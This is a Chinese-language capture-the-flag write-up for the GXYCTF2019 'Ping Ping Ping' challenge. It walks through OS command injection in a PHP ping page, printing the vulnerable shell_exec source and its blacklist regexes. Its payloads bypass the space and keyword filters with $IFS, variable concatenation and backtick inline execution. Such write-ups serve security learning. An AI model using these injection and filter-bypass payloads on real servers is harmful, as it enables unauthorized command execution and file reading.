[GXYCTF2019]Ping Ping Ping 1

解题

打开题目,显示/?ip= 应该是传参
直接尝试?ip=127.0.0.1

果然是linux命令执行,尝试其他命令
?ip=127.0.0.1;ls
成功执行

目标是打开flag.php
?ip=127.0.0.1;cat flag.php
?ip=127.0.0.1;cat index.php
回显/?ip= fxck your space!
网站应该是对空格进行了过滤,常用的绕过空格方法有:
$IFS$1、${IFS}$1、 {IFS}、IFS

尝试后用$IFS$1绕过,构造?ip=127.0.0.1;cat$IFS$1flag.php
回显/?ip= fxck your flag!

查看index.php

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

对flag进行了正则

看到有变量a,尝试用a覆盖拼接falg
构造?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

得到flag

大佬的解题思路

1.通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 即可获取flag
注:此处将变量ab的位置互换是为了绕过字符串匹配

2.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇